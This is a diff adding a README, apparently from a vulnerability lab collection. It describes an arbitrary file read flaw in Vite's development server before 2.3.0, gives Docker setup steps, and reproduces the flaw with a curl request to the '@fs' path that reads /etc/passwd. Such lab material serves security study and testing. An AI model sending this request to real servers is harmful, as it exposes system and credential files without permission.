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+# Vite Development Server Arbitrary File Read (CNVD-2022-44615)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Vite is a modern frontend build tool that provides a faster and leaner development experience for modern web projects. It consists of two major parts: a dev server with Hot Module Replacement (HMR) capability, and a build command that bundles your code with Rollup.
+
+In versions of Vite before 2.3.0, arbitrary files on the filesystem can be read using the `@fs` prefix.
+
+References:
+
+- <https://github.com/vitejs/vite/issues/2820>
+
+## Environment Setup
+
+Execute the following command to start a Vite 2.1.5 development server:
+
+```bash
+docker compose up -d
+```
+
+After the server starts, you can access the Vite development environment at `http://your-ip:3000`.
+
+> Note: The development server of the old version of Vite defaults to port 3000, while the new version defaults to port 5173, please pay attention to the difference.
+
+## Vulnerability Reproduction
+
+You can read arbitrary files on the filesystem by using the standard `@fs` prefix:
+
+```bash
+curl "http://your-ip:3000/@fs/etc/passwd"
+```
+
+![](1.png)